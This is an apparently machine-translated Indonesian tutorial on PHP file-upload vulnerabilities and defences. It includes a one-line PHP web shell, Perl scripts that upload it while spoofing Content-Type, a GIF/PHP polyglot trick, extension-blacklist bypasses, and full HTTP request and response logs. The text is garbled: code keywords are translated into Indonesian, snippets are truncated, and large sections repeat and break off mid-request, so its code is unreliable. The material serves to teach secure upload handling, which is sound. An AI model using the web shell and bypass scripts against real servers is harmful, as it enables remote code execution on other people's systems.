Mengunggah file ke server menggunakan PHP. Kerentanan utama dan cara untuk menghindarinya. Panduan Lengkap Mengunggah Gambar di PHP Php Mengunggah File dengan Aman ke Server




Dalam artikel itu, saya hanya mengungkapkan proses boot itu sendiri dan tidak menyentuh masalah keamanan.

Seringkali, mengunggah file tanpa kontrol keamanan yang memadai mengakibatkan kerentanan yang terbukti menjadi masalah nyata dalam aplikasi web PHP.

Jika Anda tidak memberikan tingkat keamanan yang diperlukan, penyerang akan dapat mengunggah file arbitrer ke server, misalnya, skrip php, yang dengannya dia dapat melihat file apa pun di server, atau lebih buruk lagi, mengeksekusi kode arbitrer!

Oleh karena itu, pada artikel ini saya akan mencoba berbicara tentang kerentanan utama aplikasi web untuk mengunggah file ke server dan cara menghindarinya.

Jadi mari kita mulai. Hal pertama yang terlintas dalam pikiran setiap pengembang adalah memeriksa Jenis konten file. Dengan kata lain, izinkan mengunggah file dengan jenis yang ditentukan secara ketat. Mari kita lihat kodenya:

Jika pengguna biasa mencoba mengunggah file apa pun selain gambar gif, dia akan diperingatkan! Tetapi penyerang tidak akan menggunakan formulir web di situs Anda.

Dia bisa menulis skrip Perl kecil (mungkin dalam bahasa apapun), yang akan meniru tindakan pengguna oleh mengunggah file untuk mengubah data yang dikirim sesuai keinginan Anda tipe MIME datang bersama permintaan, tidak ada yang mencegah penyerang menyetelnya ke "gambar/gif", karena dengan menggunakan emulasi klien, dia memiliki kendali penuh atas permintaan yang dia kirim.

Jika Anda hanya mengupload gambar, jangan percayai header Content-Type, melainkan periksa konten sebenarnya dari file yang diupload untuk memastikan bahwa itu benar-benar sebuah gambar. Untuk melakukan ini, PHP sering menggunakan fungsi tersebut getimagesize().

Fungsi getimagesize() menentukan ukuran gambar GIF, JPG, PNG, SWF, PSD, TIFF, atau BMP dan mengembalikan dimensi, jenis file, dan tinggi/lebar string teks yang digunakan di dalam tag HTML IMG normal.

Mari kita lihat bagaimana kita dapat menggunakan fungsi ini dalam skrip kita:

Anda mungkin berpikir bahwa sekarang kami yakin bahwa hanya file GIF atau JPEG yang akan dimuat. Sayangnya, tidak. File tersebut bisa benar-benar dalam format GIF atau JPEG, dan sekaligus skrip PHP. Sebagian besar format gambar memungkinkan metadata teks ditambahkan ke gambar. Dimungkinkan untuk membuat gambar yang benar-benar valid yang berisi beberapa kode PHP dalam metadata ini. Ketika getimagesize() melihat sebuah file, itu akan menafsirkannya sebagai GIF atau JPEG yang valid. Saat penerjemah PHP melihat file, ia melihat kode PHP yang dapat dieksekusi di beberapa "sampah" biner yang akan diabaikan.

Anda mungkin bertanya, mengapa tidak memeriksa ekstensi file saja? Jika kami tidak mengizinkan file diunggah *.php, server tidak akan pernah dapat menjalankan file ini sebagai skrip. Mari kita lihat pendekatan ini juga.

Anda dapat memasukkan ekstensi ke daftar putih dan memeriksa nama file yang diunggah dengan daftar putih.

Ekspresi !preg_match ("/$item\$/i", $_FILES["uploadFile"]["name"]) cocok dengan nama file yang ditentukan oleh pengguna dalam larik daftar putih. Pengubah "Saya" mengatakan bahwa ekspresi kita tidak peka huruf besar-kecil. Jika ekstensi file cocok dengan salah satu item dalam daftar putih, file akan diunduh, sebaliknya

  • Terjemahan

Artikel ini menunjukkan kerentanan utama dalam aplikasi web untuk mengunggah file ke server dan cara menghindarinya. Artikel tersebut berisi dasar-dasarnya, dalam vryat-apakah itu akan menarik bagi para profesional. Namun demikian, setiap pengembang PHP harus mengetahui hal ini.

Berbagai aplikasi web memungkinkan pengguna mengunggah file. Forum memungkinkan pengguna mengunggah "avatar". Galeri foto memungkinkan Anda mengunggah foto. Jejaring sosial memberikan peluang untuk mengunggah gambar, video, dll. Blog memungkinkan Anda mengunggah lagi avatar dan / atau gambar.

Seringkali, mengunggah file tanpa kontrol keamanan yang memadai mengakibatkan kerentanan yang terbukti menjadi masalah nyata dalam aplikasi web PHP.

Pengujian yang sedang berlangsung menunjukkan bahwa banyak aplikasi web memiliki banyak masalah keamanan. "Lubang" ini memberi penyerang peluang luas untuk melakukan tindakan tidak sah, mulai dari melihat file apa pun di server dan mengunduhnya dengan mengeksekusi kode arbitrer. Artikel ini berbicara tentang lubang keamanan utama dan cara menghindarinya.

Kode untuk contoh yang diberikan dalam artikel ini dapat diunduh di:
www.scanit.be/uploads/php-file-upload-examples.zip .

Jika Anda ingin menggunakannya, pastikan server yang Anda gunakan tidak dapat diakses dari Internet atau jaringan publik lainnya. Contoh menunjukkan berbagai kerentanan yang bisa berbahaya jika dijalankan di server yang dapat diakses secara eksternal.

Unggah file biasa

Mengunggah file biasanya terdiri dari dua fungsi independen - menerima file dari pengguna dan menampilkan file ke pengguna. Kedua bagian tersebut dapat menjadi sumber kerentanan. Mari kita lihat kode berikut (upload1.php):
$uploaddir = "upload/" ; // Jalur relatif di bawah webroot


gema ;
}
?>


Biasanya, pengguna akan mengunggah file menggunakan formulir seperti ini:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Pilih file yang akan diunggah:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="mengunggah" >

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Penyerang tidak akan menggunakan formulir ini. Dia bisa menulis skrip Perl kecil (mungkin dalam bahasa apa pun - catatan penerjemah), yang akan meniru tindakan pengguna untuk mengunggah file guna mengubah data yang dikirim sesuai keinginan Anda.

Dalam hal ini, unggahan berisi lubang keamanan besar: unggah1.php memungkinkan pengguna untuk mengunggah file arbitrer ke akar situs. Penyerang dapat mengunggah file PHP yang memungkinkan perintah shell sewenang-wenang dieksekusi di server dengan hak istimewa dari proses server web. Skrip seperti itu disebut PHP-Shell. Berikut adalah contoh paling sederhana dari skrip semacam itu:

sistem($_GET["perintah"]);
?>

Jika skrip ini ada di server, maka Anda dapat menjalankan perintah apa pun melalui permintaan:
server/shell.php?command=any_Unix_shell_command

Kerang PHP yang lebih canggih dapat ditemukan online. Mereka dapat mengunggah file arbitrer, menjalankan kueri SQL, dan sebagainya.

Sumber Perl yang ditunjukkan di bawah mengunggah PHP-Shell ke server menggunakan upload1.php:

#!/usr/bin/perl
gunakan LWP; # kami menggunakan libwwwperl
gunakan HTTP::Permintaan::Umum;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->permintaan(POST "http://localhost/upload1.php",
Content_Type => "formulir data",
konten => ,],);

Cetak $res->as_string();


* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Skrip ini menggunakan libwwwperl, yang merupakan pustaka Perl praktis yang mengemulasi klien HTTP.

Dan inilah yang terjadi ketika skrip ini dijalankan:

Meminta:

POST /upload1.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost

Panjang Konten: 156

--xYzZY

Tipe-Konten: teks/polos
sistem($_GET["perintah"]);
?>
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Rab, 13 Jun 2007 12:25:32 GMT
Server: Apache

Panjang Konten: 48
Koneksi: tutup
Tipe-Konten: teks/html
File valid, dan berhasil diunggah.

Setelah kami mengunduh skrip shell, kami dapat menjalankan perintah dengan aman:
$ curl localhost/uploads/Shell.php?command=id
uid=81(apache) gid=81(apache) grup=81(apache)

cURL adalah klien baris perintah HTTP yang tersedia di Unix dan Windows. Ini adalah alat yang sangat berguna untuk menguji aplikasi web. cURL dapat diunduh dari curl.haxx.se

Pemeriksaan Jenis Konten

Contoh di atas jarang terjadi. Dalam kebanyakan kasus, pemrogram menggunakan pemeriksaan sederhana untuk memastikan bahwa pengguna mengunggah file dengan jenis tertentu. Misalnya, menggunakan tajuk Content-Type:

Contoh 2 (upload2.php):

jika ($_FILES[;
KELUAR;
}
$uploaddir = "upload/" ;
$uploadfile = $uploaddir . namadasar($_FILES["filepengguna" ]["nama" ]);

jika (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
gema ;
}
?>

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Dalam hal ini, jika penyerang hanya mencoba mengunduh shell.php, kode kami akan memeriksa jenis MIME dari file yang diunduh dalam permintaan dan memfilter yang tidak perlu.

Meminta:

POST /upload2.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
Panjang Konten: 156
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; nama file="shell.php"
Tipe-Konten: teks/polos
sistem($_GET["perintah"]);
?>
--xYzZY--

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 13:54:01 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 41
Koneksi: tutup
Tipe-Konten: teks/html
Sejauh ini bagus. Sayangnya, ada cara untuk melewati perlindungan ini, karena jenis MIME yang diperiksa disertakan bersama permintaan. Dalam permintaan di atas diatur ke "text/plain" (itu diinstal oleh browser - catatan penerjemah). Tidak ada yang mencegah penyerang menyetelnya ke "image/gif", karena dengan menggunakan emulasi klien, dia memiliki kendali penuh atas permintaan yang dia kirim (upload2.pl):
#!/usr/bin/perl
#
gunakan LWP;
gunakan HTTP::Permintaan::Umum;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->permintaan(POST "http://localhost/upload2.php",
Content_Type => "formulir data",
konten => ,],);

Cetak $res->as_string();

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Dan inilah yang terjadi.

Meminta:

POST /upload2.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
Panjang Konten: 155
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; nama file="shell.php"
Tipe-Konten: gambar/gif
sistem($_GET["perintah"]);
?>
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 14:02:11 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 59
Koneksi: tutup
Tipe-Konten: teks/html

Akibatnya, upload2.pl kami memalsukan header Content-Type, memaksa server untuk menerima file tersebut.

Memeriksa isi file gambar

Alih-alih mempercayai header Tipe-Konten, pengembang PHP dapat memeriksa konten sebenarnya dari file yang diunggah untuk memastikan bahwa itu benar-benar sebuah gambar. Fungsi PHP getimagesize() sering digunakan untuk ini. Dibutuhkan nama file sebagai argumen dan mengembalikan array ukuran dan jenis gambar. Perhatikan contoh upload3.php di bawah ini.
$infogambar = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
gema "Maaf, kami hanya menerima gambar GIF dan JPEG\n";
KELUAR;
}

$uploaddir = "upload/" ;
$uploadfile = $uploaddir . namadasar($_FILES["filepengguna" ]["nama" ]);

jika (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
gema ;
}
?>

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Sekarang, jika penyerang mencoba mengunggah shell.php, bahkan jika dia menyetel tajuk Content-Type ke "image/gif", upload3.php akan tetap menimbulkan kesalahan.

Meminta:

POST /upload3.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
Panjang Konten: 155
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; nama file="shell.php"
Tipe-Konten: gambar/gif
sistem($_GET["perintah"]);
?>
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 14:33:35 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 42
Koneksi: tutup
Tipe-Konten: teks/html
Maaf, kami hanya menerima gambar GIF dan JPEG

Anda mungkin berpikir bahwa sekarang kami yakin bahwa hanya file GIF atau JPEG yang akan dimuat. Sayangnya, tidak. File tersebut bisa benar-benar dalam format GIF atau JPEG, dan sekaligus skrip PHP. Sebagian besar format gambar memungkinkan metadata teks ditambahkan ke gambar. Dimungkinkan untuk membuat gambar yang benar-benar valid yang berisi beberapa kode PHP dalam metadata ini. Ketika getimagesize() melihat sebuah file, itu akan menafsirkannya sebagai GIF atau JPEG yang valid. Saat penerjemah PHP melihat file, ia melihat kode PHP yang dapat dieksekusi di beberapa "sampah" biner yang akan diabaikan. File sampel bernama crocus.gif disertakan dalam contoh (lihat awal artikel). Gambar seperti itu dapat dibuat di editor grafis apa pun.

Jadi mari buat skrip perl untuk memuat gambar kita:

#!/usr/bin/perl
#
gunakan LWP;
gunakan HTTP::Permintaan::Umum;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->permintaan(POST "http://localhost/upload3.php",
Content_Type => "formulir data",
Isi => , ],);

Cetak $res->as_string();

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Kode ini mengambil file crocus.gif dan memuatnya dengan nama crocus.php. Eksekusi akan menghasilkan hal-hal berikut:

Meminta:

POST /upload3.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
panjang konten: 14835
--xYzZY

Tipe-Konten: gambar/gif
GIF89a(...beberapa data biner...)(... melewatkan sisa data biner ...)
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 14:47:24 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 59
Koneksi: tutup
Tipe-Konten: teks/html
File valid, dan berhasil diunggah.

Sekarang penyerang dapat mengeksekusi uploads/crocus.php dan mendapatkan yang berikut:

Seperti yang Anda lihat, penerjemah PHP mengabaikan data biner di awal gambar dan mengeksekusi urutan "" di komentar GIF.

Memeriksa ekstensi file yang diunggah

Pembaca artikel ini mungkin bertanya-tanya mengapa kami tidak memeriksa ekstensi file yang diunggah saja? Jika kita tidak mengizinkan file *.php dimuat, maka server tidak akan pernah bisa mengeksekusi file itu sebagai skrip. Mari kita lihat pendekatan ini juga.

Kami dapat memasukkan ekstensi file ke daftar hitam dan memeriksa nama file yang diunggah, mengabaikan pengunggahan file dengan ekstensi yang dapat dieksekusi (upload4.php):

$daftarhitam = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($daftar hitam sebagai $item) (
jika (preg_match(;
KELUAR;
}
}

$uploaddir = "upload/" ;
$uploadfile = $uploaddir . namadasar($_FILES["filepengguna" ]["nama" ]);

jika (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
gema ;
}
?>


* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Ekspresi preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) cocok dengan nama file yang ditentukan oleh pengguna dalam larik daftar hitam. Pengubah "i" mengatakan bahwa ekspresi kita tidak peka huruf besar-kecil. Jika ekstensi file cocok dengan salah satu item yang masuk daftar hitam, file tidak akan diunggah.

Jika kami mencoba mengunggah file .php, itu akan menghasilkan kesalahan:

Meminta:

POST /upload4.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
panjang konten: 14835
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; namafile="crocus.php"
Tipe-Konten: gambar/gif

--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 15:19:45 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 36
Koneksi: tutup
Tipe-Konten: teks/html
Jika kita mengunggah file dengan ekstensi .gif, maka akan diunggah:

Meminta:

POST /upload4.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
panjang konten: 14835
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; namafile="crocus.gif"
Tipe-Konten: gambar/gif
GIF89(...melewatkan data biner...)
--xYzZY--

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 15:20:17 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 59
Koneksi: tutup
Tipe-Konten: teks/html
File valid, dan berhasil diunggah.

Sekarang, jika kami meminta file yang diunggah, itu tidak akan dieksekusi oleh server:
  • Terjemahan

Artikel ini menunjukkan kerentanan utama dalam aplikasi web untuk mengunggah file ke server dan cara menghindarinya. Artikel tersebut berisi dasar-dasarnya, dalam vryat-apakah itu akan menarik bagi para profesional. Namun demikian, setiap pengembang PHP harus mengetahui hal ini.

Berbagai aplikasi web memungkinkan pengguna mengunggah file. Forum memungkinkan pengguna mengunggah "avatar". Galeri foto memungkinkan Anda mengunggah foto. Jejaring sosial memberikan peluang untuk mengunggah gambar, video, dll. Blog memungkinkan Anda mengunggah lagi avatar dan / atau gambar.

Seringkali, mengunggah file tanpa kontrol keamanan yang memadai mengakibatkan kerentanan yang terbukti menjadi masalah nyata dalam aplikasi web PHP.

Pengujian yang sedang berlangsung menunjukkan bahwa banyak aplikasi web memiliki banyak masalah keamanan. "Lubang" ini memberi penyerang peluang luas untuk melakukan tindakan tidak sah, mulai dari melihat file apa pun di server dan mengunduhnya dengan mengeksekusi kode arbitrer. Artikel ini berbicara tentang lubang keamanan utama dan cara menghindarinya.

Kode untuk contoh yang diberikan dalam artikel ini dapat diunduh di:
www.scanit.be/uploads/php-file-upload-examples.zip .

Jika Anda ingin menggunakannya, pastikan server yang Anda gunakan tidak dapat diakses dari Internet atau jaringan publik lainnya. Contoh menunjukkan berbagai kerentanan yang bisa berbahaya jika dijalankan di server yang dapat diakses secara eksternal.

Unggah file biasa

Mengunggah file biasanya terdiri dari dua fungsi independen - menerima file dari pengguna dan menampilkan file ke pengguna. Kedua bagian tersebut dapat menjadi sumber kerentanan. Mari kita lihat kode berikut (upload1.php):
$uploaddir = "upload/" ; // Jalur relatif di bawah webroot


gema ;
}
?>


Biasanya, pengguna akan mengunggah file menggunakan formulir seperti ini:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Pilih file yang akan diunggah:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="mengunggah" >

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Penyerang tidak akan menggunakan formulir ini. Dia bisa menulis skrip Perl kecil (mungkin dalam bahasa apa pun - catatan penerjemah), yang akan meniru tindakan pengguna untuk mengunggah file guna mengubah data yang dikirim sesuai keinginan Anda.

Dalam hal ini, unggahan berisi lubang keamanan besar: unggah1.php memungkinkan pengguna untuk mengunggah file arbitrer ke akar situs. Penyerang dapat mengunggah file PHP yang memungkinkan perintah shell sewenang-wenang dieksekusi di server dengan hak istimewa dari proses server web. Skrip seperti itu disebut PHP-Shell. Berikut adalah contoh paling sederhana dari skrip semacam itu:

sistem($_GET["perintah"]);
?>

Jika skrip ini ada di server, maka Anda dapat menjalankan perintah apa pun melalui permintaan:
server/shell.php?command=any_Unix_shell_command

Kerang PHP yang lebih canggih dapat ditemukan online. Mereka dapat mengunggah file arbitrer, menjalankan kueri SQL, dan sebagainya.

Sumber Perl yang ditunjukkan di bawah mengunggah PHP-Shell ke server menggunakan upload1.php:

#!/usr/bin/perl
gunakan LWP; # kami menggunakan libwwwperl
gunakan HTTP::Permintaan::Umum;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->permintaan(POST "http://localhost/upload1.php",
Content_Type => "formulir data",
konten => ,],);

Cetak $res->as_string();


* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Skrip ini menggunakan libwwwperl, yang merupakan pustaka Perl praktis yang mengemulasi klien HTTP.

Dan inilah yang terjadi ketika skrip ini dijalankan:

Meminta:

POST /upload1.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost

Panjang Konten: 156

--xYzZY

Tipe-Konten: teks/polos
sistem($_GET["perintah"]);
?>
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Rab, 13 Jun 2007 12:25:32 GMT
Server: Apache

Panjang Konten: 48
Koneksi: tutup
Tipe-Konten: teks/html
File valid, dan berhasil diunggah.

Setelah kami mengunduh skrip shell, kami dapat menjalankan perintah dengan aman:
$ curl localhost/uploads/Shell.php?command=id
uid=81(apache) gid=81(apache) grup=81(apache)

cURL adalah klien baris perintah HTTP yang tersedia di Unix dan Windows. Ini adalah alat yang sangat berguna untuk menguji aplikasi web. cURL dapat diunduh dari curl.haxx.se

Pemeriksaan Jenis Konten

Contoh di atas jarang terjadi. Dalam kebanyakan kasus, pemrogram menggunakan pemeriksaan sederhana untuk memastikan bahwa pengguna mengunggah file dengan jenis tertentu. Misalnya, menggunakan tajuk Content-Type:

Contoh 2 (upload2.php):

jika ($_FILES[;
KELUAR;
}
$uploaddir = "upload/" ;
$uploadfile = $uploaddir . namadasar($_FILES["filepengguna" ]["nama" ]);

jika (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
gema ;
}
?>

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Dalam hal ini, jika penyerang hanya mencoba mengunduh shell.php, kode kami akan memeriksa jenis MIME dari file yang diunduh dalam permintaan dan memfilter yang tidak perlu.

Meminta:

POST /upload2.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
Panjang Konten: 156
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; nama file="shell.php"
Tipe-Konten: teks/polos
sistem($_GET["perintah"]);
?>
--xYzZY--

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 13:54:01 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 41
Koneksi: tutup
Tipe-Konten: teks/html
Sejauh ini bagus. Sayangnya, ada cara untuk melewati perlindungan ini, karena jenis MIME yang diperiksa disertakan bersama permintaan. Dalam permintaan di atas diatur ke "text/plain" (itu diinstal oleh browser - catatan penerjemah). Tidak ada yang mencegah penyerang menyetelnya ke "image/gif", karena dengan menggunakan emulasi klien, dia memiliki kendali penuh atas permintaan yang dia kirim (upload2.pl):
#!/usr/bin/perl
#
gunakan LWP;
gunakan HTTP::Permintaan::Umum;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->permintaan(POST "http://localhost/upload2.php",
Content_Type => "formulir data",
konten => ,],);

Cetak $res->as_string();

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Dan inilah yang terjadi.

Meminta:

POST /upload2.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
Panjang Konten: 155
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; nama file="shell.php"
Tipe-Konten: gambar/gif
sistem($_GET["perintah"]);
?>
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 14:02:11 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 59
Koneksi: tutup
Tipe-Konten: teks/html

Akibatnya, upload2.pl kami memalsukan header Content-Type, memaksa server untuk menerima file tersebut.

Memeriksa isi file gambar

Alih-alih mempercayai header Tipe-Konten, pengembang PHP dapat memeriksa konten sebenarnya dari file yang diunggah untuk memastikan bahwa itu benar-benar sebuah gambar. Fungsi PHP getimagesize() sering digunakan untuk ini. Dibutuhkan nama file sebagai argumen dan mengembalikan array ukuran dan jenis gambar. Perhatikan contoh upload3.php di bawah ini.
$infogambar = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
gema "Maaf, kami hanya menerima gambar GIF dan JPEG\n";
KELUAR;
}

$uploaddir = "upload/" ;
$uploadfile = $uploaddir . namadasar($_FILES["filepengguna" ]["nama" ]);

jika (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
gema ;
}
?>

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Sekarang, jika penyerang mencoba mengunggah shell.php, bahkan jika dia menyetel tajuk Content-Type ke "image/gif", upload3.php akan tetap menimbulkan kesalahan.

Meminta:

POST /upload3.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
Panjang Konten: 155
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; nama file="shell.php"
Tipe-Konten: gambar/gif
sistem($_GET["perintah"]);
?>
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 14:33:35 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 42
Koneksi: tutup
Tipe-Konten: teks/html
Maaf, kami hanya menerima gambar GIF dan JPEG

Anda mungkin berpikir bahwa sekarang kami yakin bahwa hanya file GIF atau JPEG yang akan dimuat. Sayangnya, tidak. File tersebut bisa benar-benar dalam format GIF atau JPEG, dan sekaligus skrip PHP. Sebagian besar format gambar memungkinkan metadata teks ditambahkan ke gambar. Dimungkinkan untuk membuat gambar yang benar-benar valid yang berisi beberapa kode PHP dalam metadata ini. Ketika getimagesize() melihat sebuah file, itu akan menafsirkannya sebagai GIF atau JPEG yang valid. Saat penerjemah PHP melihat file, ia melihat kode PHP yang dapat dieksekusi di beberapa "sampah" biner yang akan diabaikan. File sampel bernama crocus.gif disertakan dalam contoh (lihat awal artikel). Gambar seperti itu dapat dibuat di editor grafis apa pun.

Jadi mari buat skrip perl untuk memuat gambar kita:

#!/usr/bin/perl
#
gunakan LWP;
gunakan HTTP::Permintaan::Umum;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->permintaan(POST "http://localhost/upload3.php",
Content_Type => "formulir data",
Isi => , ],);

Cetak $res->as_string();

* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Kode ini mengambil file crocus.gif dan memuatnya dengan nama crocus.php. Eksekusi akan menghasilkan hal-hal berikut:

Meminta:

POST /upload3.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
panjang konten: 14835
--xYzZY

Tipe-Konten: gambar/gif
GIF89a(...beberapa data biner...)(... melewatkan sisa data biner ...)
--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 14:47:24 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 59
Koneksi: tutup
Tipe-Konten: teks/html
File valid, dan berhasil diunggah.

Sekarang penyerang dapat mengeksekusi uploads/crocus.php dan mendapatkan yang berikut:

Seperti yang Anda lihat, penerjemah PHP mengabaikan data biner di awal gambar dan mengeksekusi urutan "" di komentar GIF.

Memeriksa ekstensi file yang diunggah

Pembaca artikel ini mungkin bertanya-tanya mengapa kami tidak memeriksa ekstensi file yang diunggah saja? Jika kita tidak mengizinkan file *.php dimuat, maka server tidak akan pernah bisa mengeksekusi file itu sebagai skrip. Mari kita lihat pendekatan ini juga.

Kami dapat memasukkan ekstensi file ke daftar hitam dan memeriksa nama file yang diunggah, mengabaikan pengunggahan file dengan ekstensi yang dapat dieksekusi (upload4.php):

$daftarhitam = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($daftar hitam sebagai $item) (
jika (preg_match(;
KELUAR;
}
}

$uploaddir = "upload/" ;
$uploadfile = $uploaddir . namadasar($_FILES["filepengguna" ]["nama" ]);

jika (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
gema ;
}
?>


* Kode sumber ini disorot dengan Penyorot Kode Sumber .

Ekspresi preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) cocok dengan nama file yang ditentukan oleh pengguna dalam larik daftar hitam. Pengubah "i" mengatakan bahwa ekspresi kita tidak peka huruf besar-kecil. Jika ekstensi file cocok dengan salah satu item yang masuk daftar hitam, file tidak akan diunggah.

Jika kami mencoba mengunggah file .php, itu akan menghasilkan kesalahan:

Meminta:

POST /upload4.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
panjang konten: 14835
--xYzZY
Isi-Disposisi: bentuk-data; nama="filepengguna"; namafile="crocus.php"
Tipe-Konten: gambar/gif

--xYzZY-

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 15:19:45 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 36
Koneksi: tutup
Tipe-Konten: teks/html
Jika kita mengunggah file dengan ekstensi .gif, maka akan diunggah:

Meminta:

POST /upload4.php HTTP/1.1
TE: mengempis, gzip; q = 0,3
Koneksi: TE, tutup
Tuan rumah: localhost
Agen Pengguna: libwww-perl/5.803
Tipe-Konten: multipart/formulir-data; batas = xYzZY
panjang konten: 14835
--xYzZY
